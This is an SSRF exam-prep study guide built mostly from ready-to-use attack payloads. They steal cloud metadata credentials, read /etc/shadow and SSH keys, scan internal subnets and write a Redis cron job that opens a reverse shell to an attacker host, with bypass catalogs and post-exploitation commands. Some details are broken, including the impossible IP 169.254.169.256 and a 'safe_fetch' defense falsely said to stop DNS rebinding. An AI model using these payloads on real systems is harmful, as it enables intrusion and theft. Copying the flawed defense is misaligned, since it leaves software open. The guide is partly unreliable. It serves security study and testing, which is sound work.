Server-Side Request Forgery (SSRF) — Deep-Dive Study Guide
1. What Is SSRF and Why Does It Matter?
Server-Side Request Forgery (SSRF) is a vulnerability class where a web application fetches a remote resource on behalf of the user, but fails to validate the user-supplied URL. This turns the server into an unauthorized proxy that the attacker can abuse to reach systems and services that are otherwise inaccessible from the outside.
Why the Server Is a Powerful Attack Proxy
The server sits in a privileged network position that the attacker does not share:
| Attacker Position | Server Position |
|---|---|
| External (Internet) | Internal (VPC / LAN / DMZ) |
| Blocked by firewall from internal services | Direct access to internal services |
| No cloud credentials | May have IAM roles / service accounts attached |
Cannot reach 127.0.0.1 of the app |
Can reach its own localhost and co-located services |
| Limited to public-facing ports | Can scan entire internal subnets |
This network asymmetry is the core of SSRF. The attacker cannot directly reach 10.0.0.5:6379 (Redis), but if the application will fetch http://10.0.0.5:6379 on their behalf, the firewall becomes irrelevant.
Common SSRF Entry Points
SSRF manifests wherever an application accepts a URL or URI from the user and makes an outbound request:
- Image upload / avatar fetching:
?url=https://...to fetch a remote image - Webhook configuration: User supplies a callback URL
- URL preview / link shortening: Fetch page title and favicon
- Import / export features: “Import from URL” functionality
- RSS / feed readers: Fetch remote feed content
- PDF / document generators: Fetch remote templates
- API integrations: Third-party URL configuration
- XML External Entities (XXE): Can trigger SSRF via
SYSTEMentities - Office document macros: Embedded URLs in uploaded documents
SSRF Classification
| Type | Description | Blind? | OSCP Relevance |
|---|---|---|---|
| Type 1 — Full Response | Server returns the fetched content to the attacker | No | Very High |
| Type 2 — Partial Response | Server returns a subset (status code, headers, snippet) | Partial | High |
| Type 3 — Blind SSRF | No response returned; attacker must use side-channel | Yes | High |
| Type 4 — Open Redirect | Server redirects user to attacker-controlled URL | N/A | Medium (chain starter) |
2. Cloud Metadata Endpoints — The Crown Jewel of SSRF
Cloud instances expose metadata services on link-local addresses. These services return instance configuration, IAM credentials, and API tokens — effectively handing the attacker the keys to the cloud kingdom.
AWS EC2 Metadata Service
The AWS metadata service is the most frequently targeted SSRF endpoint in both CTFs and real-world engagements.
IMDSv1 (Legacy — No Token Required)
# Root metadata listing
http://169.254.169.254/latest/meta-data/
# IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IAM credentials (Access Key, Secret Key, Session Token)
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>/
# Instance identity document (region, AMI, instance type)
http://169.254.169.254/latest/dynamic/instance-identity/document
# User data (often contains secrets, API keys, config)
http://169.254.169.254/latest/user-data/
# Hostname and private IP
http://169.254.169.254/latest/meta-data/local-hostname
http://169.254.169.254/latest/meta-data/local-ipv4
IMDSv2 (Token Required — Harder to Exploit)
AWS introduced IMDSv2 to mitigate SSRF. It requires a session token:
# Step 1: Obtain token (PUT request with header)
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
# Step 2: Use token to access metadata
GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: <token-from-step-1>
SSRF against IMDSv2: If the vulnerable application supports arbitrary HTTP methods and headers (e.g., a generic HTTP client wrapper), you can chain the token fetch + metadata fetch. This is rare but has appeared in advanced scenarios.
Post-Exploitation with AWS Credentials
Once you have IAM credentials:
# Configure AWS CLI
aws configure
# Enter Access Key, Secret Key, Region
# Enumerate permissions
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name <role-name>
# List S3 buckets
aws s3 ls
# If role has s3:GetObject, read bucket contents
aws s3 cp s3://<bucket>/secret-file.txt .
# If role has ec2:DescribeInstances, enumerate infrastructure
aws ec2 describe-instances
# If role has sts:AssumeRole, pivot to other roles
aws sts assume-role --role-arn arn:aws:iam::123456789:role/target-role --role-session-name hack
Azure Instance Metadata Service (IMDS)
# Root endpoint (requires header)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
# Format as JSON
http://169.254.169.254/metadata/instance?api-version=2021-02-01&format=json
Header: Metadata: true
# List all available endpoints
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Managed Identity token (the gold target)
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
Header: Metadata: true
# VM properties
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01&format=json
Header: Metadata: true
Key difference from AWS: Azure IMDS always requires the Metadata: true header. IMDSv1 has no token requirement, but the header is mandatory. IMDSv2 adds a hop-by-hop token requirement similar to AWS.
Google Cloud Platform (GCP) Metadata
# Root endpoint
http://metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: Google
# Service account token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google
# Service account access token (OAuth2)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://www.googleapis.com/oauth2/v4/token
Header: Metadata-Flavor: Google
# Instance attributes (custom key-value pairs — often contain secrets!)
http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true
Header: Metadata-Flavor: Google
# Instance properties
http://metadata.google.internal/computeMetadata/v1/instance/
Header: Metadata-Flavor: Google
GCP-specific risk: Custom instance attributes are a common place for developers to store API keys, database passwords, and configuration secrets. The attributes/?recursive=true endpoint dumps everything.
Alibaba Cloud ECS Metadata
# Root endpoint
http://100.100.100.200/latest/meta-data/
# RAM role credentials
http://100.100.100.200/latest/meta-data/ram/security-credentials/
# Specific role credentials
http://100.100.100.200/latest/meta-data/ram/security-credentials/<role-name>/
# Instance info
http://100.100.100.200/latest/meta-data/instance-id
Oracle Cloud Infrastructure (OCI) Metadata
# Legacy (v1)
http://169.254.169.254/latest/meta-data/
# Instance principal token
http://169.254.169.254/2021-02-01/resource-principals/api-signing/instance-principal-certificate
# OCID and region
http://169.254.169.256/opc/v2/instance/
Quick-Reference Metadata Cheat Sheet
| Provider | IP / Host | Required Header | Credential Path |
|---|---|---|---|
| AWS (IMDSv1) | 169.254.169.254 |
None | /latest/meta-data/iam/security-credentials/<role>/ |
| AWS (IMDSv2) | 169.254.169.254 |
X-aws-ec2-metadata-token |
Same as v1, after token fetch |
| Azure | 169.254.169.254 |
Metadata: true |
/metadata/identity/oauth2/token |
| GCP | metadata.google.internal |
Metadata-Flavor: Google |
/computeMetadata/v1/instance/service-accounts/default/token |
| Alibaba | 100.100.100.200 |
None | /latest/meta-data/ram/security-credentials/<role>/ |
| Oracle | 169.254.169.254 / 169.254.169.256 |
None | /2021-02-01/resource-principals/... |
3. Internal Network Reconnaissance via SSRF
When you cannot directly reach internal networks, SSRF becomes your network scanner.
Port Scanning via SSRF
The technique relies on response time differences and error messages:
| Response | Meaning |
|---|---|
| Fast response + HTTP content | Port open, HTTP service |
| Fast response + connection refused / non-HTTP error | Port open, non-HTTP service |
| Slow response (timeout) | Port closed or filtered |
| Different error per port | Port open, specific service banner |
# Test if port 80 is open on internal host
curl "http://vulnerable-app.com/fetch?url=http://10.0.0.5:80/"
# Test if port 22 is open (SSH)
curl "http://vulnerable-app.com/fetch?url=http://10.0.0.5:22/"
# Test if port 3306 is open (MySQL)
curl "http://vulnerable-app.com/fetch?url=http://10.0.0.5:3306/"
# Test if port 6379 is open (Redis)
curl "http://vulnerable-app.com/fetch?url=http://10.0.0.5:6379/"
# Test if port 8080 is open (common app port)
curl "http://vulnerable-app.com/fetch?url=http://10.0.0.5:8080/"
Service Discovery via Error Messages
Different services return different error banners when receiving an HTTP request:
# MySQL on port 3306 returns:
"Host '10.0.0.X' is not allowed to connect to this MySQL server"
# Redis on port 6379 returns:
"-ERR unknown command 'GET'"
# MongoDB on port 27017 returns:
"binaries invalid" or BSON-related errors
# Elasticsearch on port 9200 returns:
{"name":"...","cluster_name":"...","version":{"number":"7.x.x"}}
# Kafka on port 9092 returns:
Binary protocol data (detectable by response pattern)
Subnet Scanning Strategy
# Script to scan a /24 subnet via SSRF
for i in $(seq 1 254); do
echo -n "Scanning 10.0.0.$i... "
RESPONSE=$(curl -s -o /dev/null -w "%{http_code} %{time_total}" \
"http://vulnerable-app.com/fetch?url=http://10.0.0.$i:80/")
HTTP_CODE=$(echo $RESPONSE | awk '{print $1}')
TIME=$(echo $RESPONSE | awk '{print $2}')
if (( $(echo "$TIME < 2.0" | bc -l) )); then
echo "OPEN (HTTP $HTTP_CODE, ${TIME}s)"
else
echo "closed/filtered (${TIME}s)"
fi
done
Blind SSRF Out-of-Band Detection
When the application does not return the response body, use DNS exfiltration or HTTP callback to detect reachability:
# Using Burp Collaborator
burp collaborator-active-dns-http
# Returns: a1b2c3d4e5.collaborator-server.com
# Use in SSRF payload
curl "http://vulnerable-app.com/fetch?url=http://a1b2c3d4e5.collaborator-server.com/"
# Check for DNS/HTTP interaction
burp collaborator-results
# Using your own server as a callback
# On attacker machine:
nc -lvnp 4443
# SSRF payload pointing to your listener
curl "http://vulnerable-app.com/fetch?url=http://10.10.14.1:4443/"
4. Protocol-Based SSRF — Beyond HTTP
Many HTTP client libraries support non-HTTP URI schemes. Each protocol opens unique attack vectors.
file:// — Local File Read
The file:// protocol reads files from the server’s local filesystem:
# Linux
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
file:///proc/version
file:///root/.ssh/id_rsa
file:///var/run/secrets/kubernetes.io/serviceaccount/token
# Windows
file:///C:/Windows/win.ini
file:///C:/inetpub/wwwroot/web.config
file:///C:/Users/Administrator/Desktop/passwords.txt
OSCP Relevance: On many OSCP machines, file:// SSRF can read configuration files containing database credentials, API keys, or internal service URLs that lead to the next attack vector.
gopher:// — The Swiss Army Knife Protocol
The gopher:// protocol is the most powerful SSRF weapon. It allows sending raw bytes to any TCP service, effectively turning SSRF into a full TCP client.
How Gopher Works
gopher://<host>:<port>/<path>
The <path> portion is sent as raw data to the target service. URL-encode all special characters:
| Character | URL Encoding |
|---|---|
\r\n (CRLF) |
%0d%0a |
| Space | %20 |
: |
%3a |
@ |
%40 |
{ |
%7b |
} |
%7d |
Gopher + Redis Exploitation
Redis is a text-based protocol. You can send arbitrary Redis commands via gopher:
# Read Redis INFO
gopher://127.0.0.1:6379/_INFO%0d%0a
# Write to a key
gopher://127.0.0.1:6379/_SET%20test%20pwned%0d%0a
# Full exploitation chain: Write a cron job for RCE
gopher://127.0.0.1:6379/_*3%0d%0a\$3%0d%0aSET%0d%0a\$15%0d%0a/cron/reverse_shell%0d%0a\$70%0d%0a*/1%20*%20*%20*%20*%20bash%20-i%20%3e%26%20%2fdev%2ftcp%2f10.10.14.1%2f4443%200%3e%261%0d%0a
# Then configure Redis to write to crontab directory
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/spool/cron/crontabs%0d%0a
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20root%0d%0a
gopher://127.0.0.1:6379/_SAVE%0d%0a
Step-by-step Redis SSRF exploitation:
- Confirm Redis is reachable:
gopher://127.0.0.1:6379/_INFO%0d%0a - Check Redis config:
CONFIG GET dirandCONFIG GET dbfilename - Set working directory to a writable cron location:
CONFIG SET dir /var/spool/cron/crontabs - Set filename to the target user’s crontab:
CONFIG SET dbfilename root - Write cron payload as a Redis key value containing the reverse shell command
- Save:
SAVE— Redis writes the RDB file to the crontab directory - Wait: Cron executes the reverse shell within 1 minute
Gopher + Memcached Exploitation
Memcached uses a binary protocol, but you can still inject data:
# Memcached stats (ASCII protocol)
gopher://127.0.0.1:11211/_stats%20settings%0d%0a
# Write data to Memcached
gopher://127.0.0.1:11211/_set%20payload%200%200%2012%0d%0a<script>alert(1)</script>%0d%0a
If the application reads from Memcached and renders the data without sanitization, this leads to Stored XSS.
Gopher + SMTP — Send Emails
gopher://127.0.0.1:25/_EHLO%20attacker.com%0d%0aMAIL%20FROM%3A%20<attacker@evil.com>%0d%0aRCPT%20TO%3A%20<admin@target.com>%0d%0aDATA%0d%0aSubject:%20Pwned%0d%0a%0d%0aYou%20have%20been%20hacked.%0d%0a.%0d%0aQUIT%0d%0a
Gopher + MySQL
# MySQL handshake bypass — complex but possible
# Requires crafting the exact binary protocol bytes
# More practical: use dict:// for simpler MySQL interaction
dict:// — Dictionary Protocol
The dict:// protocol sends commands to services that speak the DICT protocol, but can also interact with other services:
# Basic dict query
dict://127.0.0.1:2628/dbase/show
# Against Memcached (sends raw command)
dict://127.0.0.1:11211/stats
# Against Redis
dict://127.0.0.1:6379/INFO
ldap:// — LDAP Protocol
# Query LDAP directory
ldap://127.0.0.1:389/cn=users,dc=example,dc=com
# With search filter
ldap://127.0.0.1:389/dc=example,dc=com??sub?(objectClass=*)
php:// — PHP Stream Wrappers
PHP-specific wrappers that are extremely powerful when combined with SSRF or LFI:
# Read file as base64 (bypasses binary output issues)
php://filter/convert.base64-encode/resource=config.php
# Read file with multiple filters chained
php://filter/convert.base64-encode/resource=php://filter/convert.iconv.UTF8.CSISO2022KR/resource=config.php
# Read stdin (for data exfiltration)
php://input
# Access PHP session data
php://filter/zlib.deflate/resource=session_file
# Read source code of any PHP file
php://filter/convert.base64-encode/resource=/var/www/html/admin.php
Protocol Support by Language
| Language / Library | file:// |
gopher:// |
dict:// |
ldap:// |
ftp:// |
|---|---|---|---|---|---|
Python urllib |
Yes | Yes | Yes | Yes | Yes |
Python requests |
No | No | No | No | No |
Python requests + urllib3 |
No | No | No | No | No |
PHP file_get_contents() |
Yes | Yes | Yes | Yes | Yes |
PHP curl |
Yes | No | No | No | Yes |
Java URL.openConnection() |
Yes | No | No | Yes | Yes |
Node.js http.request() |
No | No | No | No | No |
Go net/http |
No | No | No | No | No |
Key insight: Python’s urllib and PHP’s file_get_contents() are the most dangerous because they support the widest range of protocols. The OSCP exam frequently features Python and PHP applications.
5. Complete Filter Bypass Catalog
Defenders often implement URL validation to block SSRF. Here is a comprehensive catalog of bypass techniques.
IP Address Encoding Bypasses
When 127.0.0.1 or localhost is blocked:
| Technique | Payload | Resolves To |
|---|---|---|
| Decimal IP | http://2130706433/ |
127.0.0.1 |
| Hex IP | http://0x7f000001/ |
127.0.0.1 |
| Octal IP | http://0177.0.0.1/ |
127.0.0.1 |
| Mixed base | http://127.1/ |
127.0.0.1 |
| IPv6 mapped | http://[::ffff:127.0.0.1]/ |
127.0.0.1 |
| IPv6 loopback | http://[::1]/ |
127.0.0.1 |
| IPv6 compressed | http://[0:0:0:0:0:0:0:1]/ |
127.0.0.1 |
| Zero IP | http://0/ |
0.0.0.0 (often = localhost) |
| Wildcard | http://0.0.0.0/ |
0.0.0.0 (all interfaces) |
| URL-encoded dot | http://127.0.0.1%2e/ |
127.0.0.1 |
| Tab/Newline injection | http://127.0.0.1\t:8080/ |
127.0.0.1:8080 |
Decimal IP calculation: 127 * 256^3 + 0 * 256^2 + 0 * 256 + 1 = 2130706433
DNS Rebinding
DNS rebinding exploits the fact that DNS resolution happens at request time, not at validation time:
- Attacker controls a domain (e.g.,
evil.com) - First DNS query resolves to an allowed external IP (passes validation)
- Second DNS query (during actual fetch) resolves to
127.0.0.1or internal IP - The server connects to the internal target
# Using a DNS rebinding service (e.g., IP2Location, dynDNS)
http://rebind.example.com/
# The domain resolves differently on each lookup:
# First lookup: 93.184.216.34 (passes whitelist check)
# Second lookup: 127.0.0.1 (actual connection target)
URL Redirect Chains
If the application follows redirects:
# Host a redirect on your server
# attacker.com/redirect -> 302 -> http://169.254.169.254/latest/meta-data/
# The SSRF payload only contains your domain
?url=http://attacker.com/redirect
# The server follows the redirect to the internal target
Double and Triple URL Encoding
# Single encoding (may be decoded once by the framework)
?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
# Double encoding (decoded twice)
?url=http%253A%252F%252F169.254.169.254%252Flatest%252Fmeta-data%252F
# Triple encoding (decoded three times)
?url=http%25253A%25252F%25252F169.254.169.254%25252Flatest%25252Fmeta-data%25252F
Protocol and Scheme Bypasses
| Filter | Bypass |
|---|---|
Blocks http:// |
Use HTTP:// (case variation) |
Blocks http:// |
Use hTTp:// (mixed case) |
Blocks http:// |
Use http:/ (single slash — some parsers accept) |
Blocks http:// |
Use //169.254.169.254/ (protocol-relative URL) |
Blocks :// |
Use http:/// (extra slash) |
| Blocks specific schemes | Use data:text/html, (data URI) |
Blocks http and https |
Use ftp:// or gopher:// |
Hostname-Based Bypasses
# Use different representations of the same host
http://localhost/
http://LOCALHOST/
http://LocalHost/
http://localhost.localdomain/
http://ip6-localhost/
http://[::1]/
http://127.0.0.1.nip.io/ # nip.io service: <ip>.nip.io resolves to <ip>
http://169.254.169.254.nip.io/
Path Traversal in URL
# Some parsers don't normalize paths
http://169.254.169.254/..%2f..%2f..%2f..%2flatest%2fmeta-data/
# Backslash on Windows
http://169.254.169.254\latest\meta-data\
JSON and Parameter Pollution
{"url": "http://169.254.169.254/latest/meta-data/"}
# Parameter pollution — some apps concatenate or pick the last value
?url=http://allowed.com&url=http://169.254.169.254/latest/meta-data/
Wildcard DNS with *.nip.io
The nip.io service resolves <IP>.nip.io to <IP>:
# 127.0.0.1.nip.io resolves to 127.0.0.1
http://127.0.0.1.nip.io/
# 169.254.169.254.nip.io resolves to 169.254.169.254
http://169.254.169.254.nip.io/latest/meta-data/
# Any internal IP
http://10.0.0.5.nip.io:8080/
6. SSRF Combined with Other Vulnerabilities — Chain Attacks
SSRF rarely exists in isolation. Combining it with other vulnerabilities creates devastating attack chains.
SSRF + XXE
XML External Entities can trigger SSRF when the XML parser resolves external entities:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
Or using HTTP to trigger SSRF:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>
SSRF + Open Redirect
An open redirect can be the first hop in an SSRF chain:
# Step 1: Open redirect on target app
https://target.com/redirect?url=http://attacker.com/
# Step 2: Attacker's server redirects to internal target
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/
# Step 3: If the SSRF-vulnerable app follows redirects, it reaches the metadata
SSRF + SSRF (Recursive SSRF)
Some applications have multiple URL-fetching features. Chain them:
# App A has SSRF but only allows external URLs
# App B is internal and has SSRF with no restrictions
# Use App A's SSRF to reach App B, then use App B's SSRF to reach metadata
?url=http://internal-app-b.local/fetch?url=http://169.254.169.254/latest/meta-data/
SSRF + Deserialization
If a deserialization gadget makes HTTP requests, and you control the URL:
# Python pickle gadget that makes HTTP request during unpickling
import pickle, urllib.request
class SSRFExploit:
def __reduce__(self):
return (urllib.request.urlopen, ("http://169.254.169.254/latest/meta-data/",))
payload = pickle.dumps(SSRFExploit())
SSRF + Template Injection
Server-side template injection (SSTI) can trigger SSRF:
# Jinja2
{{ ''.__class__.__mro__[2].__subclasses__()[40]('http://169.254.169.254/latest/meta-data/').read() }}
# Twig
{{ 'http://169.254.169.254/latest/meta-data/'|file }}
7. Detection Methodology and Testing Checklist
Phase 1: Identify SSRF Entry Points
- Map all parameters that accept URLs (
url,link,src,image,feed,import,callback,webhook) - Check POST body parameters for URL fields
- Check JSON API endpoints for URL fields
- Look for “Import from URL”, “Fetch”, “Preview”, “Validate URL” features
- Check file upload handlers that process embedded URLs (Office docs, PDFs)
- Review XML/JSON parsers for external entity resolution
Phase 2: Basic SSRF Testing
- Test with
http://127.0.0.1/— check for response differences - Test with
http://localhost/— check for response differences - Test with
http://169.254.169.254/latest/meta-data/— AWS metadata - Test with
http://metadata.google.internal/computeMetadata/v1/— GCP metadata - Test with
file:///etc/passwd— local file read - Test with
http://<external-ip>/— confirm outbound connectivity
Phase 3: Protocol Testing
- Test
gopher://127.0.0.1:6379/_INFO%0d%0a— Redis - Test
gopher://127.0.0.1:11211/_stats%0d%0a— Memcached - Test
dict://127.0.0.1:6379/INFO— Redis via dict - Test
ldap://127.0.0.1:389/— LDAP - Test
ftp://127.0.0.1:21/— FTP - Test
php://filter/convert.base64-encode/resource=config.php— PHP wrapper
Phase 4: Filter Bypass Testing
- Try decimal IP:
http://2130706433/ - Try hex IP:
http://0x7f000001/ - Try octal IP:
http://0177.0.0.1/ - Try IPv6:
http://[::1]/ - Try double encoding:
http%253A%252F%252F... - Try
nip.io:http://169.254.169.254.nip.io/ - Try URL redirect chain
- Try case variation:
HTTP://,HtTp:// - Try protocol-relative:
//169.254.169.254/
Phase 5: Blind SSRF Testing
- Set up Burp Collaborator or your own listener
- Send SSRF payload pointing to your callback server
- Monitor for DNS queries and HTTP connections
- Use response time differences to detect open ports
- Use error message differences to identify services
Automated Testing Tools
| Tool | Purpose | Command |
|---|---|---|
nuclei |
SSRF templates | nuclei -u http://target.com -tags ssrf |
dalfox |
URL parameter analysis | dalfox url "http://target.com/page?url=TEST" |
ssrf-tester |
Dedicated SSRF testing | python3 ssrf_tester.py -u http://target.com |
gobuster |
Internal path discovery | gobuster dir -u http://internal:8080/ -w wordlist.txt |
| Burp Suite | Manual testing | Intercept, modify, and replay requests |
8. OSCP Exam Scenarios — SSRF to Full Compromise
Scenario 1: AWS Metadata → IAM Credentials → S3 Bucket → Credentials → SSH Access
This is the most common cloud SSRF chain on OSCP-like exams:
Step 1: Find SSRF in web app
→ ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Step 2: Get IAM role name
→ Response: "EC2Role"
Step 3: Extract credentials
→ ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role/
→ Get AccessKeyId, SecretAccessKey, Token
Step 4: Enumerate S3
→ aws s3 ls
→ Found: s3://internal-backups/
Step 5: Download backup
→ aws s3 cp s3://internal-backups/db-credentials.tar.gz .
Step 6: Extract SSH key from backup
→ tar xzf db-credentials.tar.gz
→ Found id_rsa
Step 7: SSH into target
→ ssh -i id_rsa ec2-user@10.10.10.100
Scenario 2: SSRF → Internal Admin Panel → RCE
Step 1: Port scan via SSRF
→ http://10.0.0.5:8080/ returns content (port open)
Step 2: Access internal admin panel
→ ?url=http://10.0.0.5:8080/admin/
Step 3: Find default credentials or known vulnerability
→ Admin panel runs vulnerable software (e.g., old Jenkins, Solr)
Step 4: Exploit admin panel for RCE
→ Use known exploit against the internal service
Step 5: Pivot back to main target
→ Use the compromised internal host to attack the main target
Scenario 3: SSRF → Redis → Cron Job → Root Shell
Step 1: Confirm Redis is reachable via SSRF
→ ?url=http://127.0.0.1:6379/ (error response confirms open port)
Step 2: Use gopher to send Redis commands
→ ?url=gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/spool/cron/crontabs%0d%0a
Step 3: Set filename to root crontab
→ ?url=gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20root%0d%0a
Step 4: Write reverse shell as cron entry
→ ?url=gopher://127.0.0.1:6379/_SET%20shell%20"*/1%20*%20*%20*%20*%20bash%20-i%20>%26%20/dev/tcp/10.10.14.1/4443%200>%261"%0d%0a
Step 5: Save to disk
→ ?url=gopher://127.0.0.1:6379/_SAVE%0d%0a
Step 6: Listen for reverse shell
→ nc -lvnp 4443
→ Root shell connects within 1 minute
Scenario 4: SSRF + File Read → Source Code → Secret → API Abuse
Step 1: Read source code via file:// protocol
→ ?url=file:///var/www/html/config.php
Step 2: Extract database credentials or API keys
→ Found: DB_PASSWORD="sup3rs3cret"
Step 3: Use credentials to access database
→ mysql -h 10.0.0.5 -u admin -psup3rs3cret
Step 4: Extract user hashes from database
→ SELECT username, password FROM users;
Step 5: Crack hashes and SSH in
→ hashcat -m 100 hashes.txt rockyou.txt
→ ssh user@10.10.10.100
Scenario 5: Blind SSRF → DNS Exfiltration → Data Leak
Step 1: Confirm blind SSRF exists
→ Use Burp Collaborator to verify DNS callback
Step 2: Exfiltrate data via DNS subdomain encoding
→ ?url=http://<base64-encoded-data>.attacker.com/
Step 3: Read /etc/passwd via DNS exfiltration
→ Use XXE + SSRF combo to read file and exfiltrate via DNS
Step 4: Piece together exfiltrated data
→ Decode base64 subdomains to reconstruct file contents
9. SSRF in Real OSCP Machines — Patterns to Recognize
Pattern A: URL Import Feature
Many OSCP machines have a “URL import”, “fetch image”, or “link preview” feature. This is the #1 SSRF entry point.
What to look for:
- Input field labeled “URL”, “Link”, “Image URL”, “Feed URL”
- Button labeled “Import”, “Fetch”, “Preview”, “Validate”
- API endpoint
/api/import,/api/fetch,/api/preview
Pattern B: Webhook Configuration
Some machines let you configure webhooks or callbacks. If the server validates the webhook URL by making a test request, this is SSRF.
What to look for:
- Settings page with “Webhook URL” field
- Integration configuration with callback URLs
- “Test connection” buttons that ping the configured URL
Pattern C: File Upload with URL Processing
Uploaded documents (PDFs, Office files) may contain embedded URLs that the server resolves.
What to look for:
- PDF upload that generates previews
- Office document processing (DOCX, XLSX)
- Image upload that fetches EXIF metadata from remote URLs
Pattern D: API with URL Parameters
REST APIs that accept URLs as parameters for integration features.
What to look for:
POST /api/integrationswith{"url": "..."}bodyGET /api/proxy?url=...endpoints- Swagger/OpenAPI docs showing URL parameters
10. Mitigation and Defense Strategies
Defense-in-Depth Approach
| Layer | Control | Implementation |
|---|---|---|
| Application | URL allowlisting | Maintain whitelist of allowed domains; reject everything else |
| Application | Protocol restriction | Only allow https://; block file://, gopher://, dict://, ldap:// |
| Application | IP validation | Resolve URL to IP before making request; reject private/reserved ranges |
| Application | Response stripping | Return only status code, never the response body |
| Application | DNS rebinding protection | Compare pre-request and post-resolution IPs |
| Network | Egress filtering | Block outbound to 169.254.169.254, 100.100.100.200, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 |
| Network | VPC segmentation | Place web tier in public subnet; internal services in private subnets with no inbound from web tier |
| Cloud | IMDSv2 enforcement | Require hop-by-hop token for AWS metadata access |
| Cloud | Metadata firewall | Block metadata IPs at the security group level |
Private IP Range Detection
import ipaddress
def is_private_ip(ip_str):
"""Check if an IP address is in a private/reserved range."""
ip = ipaddress.ip_address(ip_str)
private_ranges = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'), # Link-local (cloud metadata)
ipaddress.ip_network('100.64.0.0/10'), # Carrier-grade NAT
ipaddress.ip_network('0.0.0.0/8'),
ipaddress.ip_network('100.100.100.0/24'), # Alibaba metadata
]
return any(ip in network for network in private_ranges)
Critical: Resolve Before Connecting
The most important SSRF defense is to resolve the DNS name to an IP address and validate the IP before making the connection. This prevents DNS rebinding attacks:
import socket, ipaddress
def safe_fetch(url):
# Parse the URL
host = urlparse(url).hostname
# Resolve to IP
ip = socket.gethostbyname(host)
# Check if IP is private
if is_private_ip(ip):
raise ValueError("Access to private IP addresses is forbidden")
# Only then make the request
return requests.get(url)
11. Quick Reference — SSRF Payload Cheat Sheet
Metadata Endpoints (Copy-Paste Ready)
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01&format=json
# Header: Metadata: true
# GCP
http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true
# Header: Metadata-Flavor: Google
# Alibaba
http://100.100.100.200/latest/meta-data/
# Oracle
http://169.254.169.254/latest/meta-data/
IP Encoding Variants for 127.0.0.1
http://127.0.0.1/
http://localhost/
http://2130706433/
http://0x7f000001/
http://0177.0.0.1/
http://127.1/
http://0/
http://0.0.0.0/
http://[::1]/
http://[::ffff:127.0.0.1]/
http://127.0.0.1.nip.io/
Gopher Payloads
# Redis INFO
gopher://127.0.0.1:6379/_INFO%0d%0a
# Redis SET key value
gopher://127.0.0.1:6379/_SET%20key%20value%0d%0a
# Memcached stats
gopher://127.0.0.1:11211/_stats%20settings%0d%0a
# File read (if service supports it)
file:///etc/passwd
file:///proc/self/environ
Common Internal Ports to Scan
| Port | Service | SSRF Value |
|---|---|---|
| 22 | SSH | Banner grab, version info |
| 80 | HTTP | Admin panels, internal apps |
| 443 | HTTPS | Internal TLS services |
| 3306 | MySQL | Error-based service detection |
| 5432 | PostgreSQL | Error-based service detection |
| 6379 | Redis | High value — command injection via gopher |
| 8080 | HTTP Alt | Common app port |
| 8443 | HTTPS Alt | Common app port |
| 9200 | Elasticsearch | JSON API, data exposure |
| 11211 | Memcached | Data injection via gopher |
| 27017 | MongoDB | Database access |
| 5900 | VNC | Remote desktop access |
| 8500 | Consul | Service mesh config |
| 2379 | etcd | Kubernetes config |
12. Summary and Key Takeaways
-
SSRF turns the server into your proxy — exploit the network asymmetry between attacker and server positions.
-
Cloud metadata is the highest-value target — AWS IMDSv1 is trivially exploitable; always check for
169.254.169.254first. -
Gopher protocol is the most powerful SSRF weapon — it enables raw TCP interaction with Redis, Memcached, SMTP, and other services.
-
Filter bypasses are numerous — IP encoding, DNS rebinding, URL redirects, double encoding, and protocol variations provide multiple bypass paths.
-
SSRF chains with other vulnerabilities — combine with XXE, SSTI, deserialization, and open redirect for maximum impact.
-
On OSCP exams, follow the chain — SSRF rarely gives you a shell directly. It gives you credentials, internal access, or service interaction that leads to the next step.
-
Always test all protocols —
file://,gopher://,dict://,ldap://, andphp://wrappers each open unique attack surfaces. -
Blind SSRF is still exploitable — use DNS callbacks, response timing, and error message differences to extract information even without direct response visibility.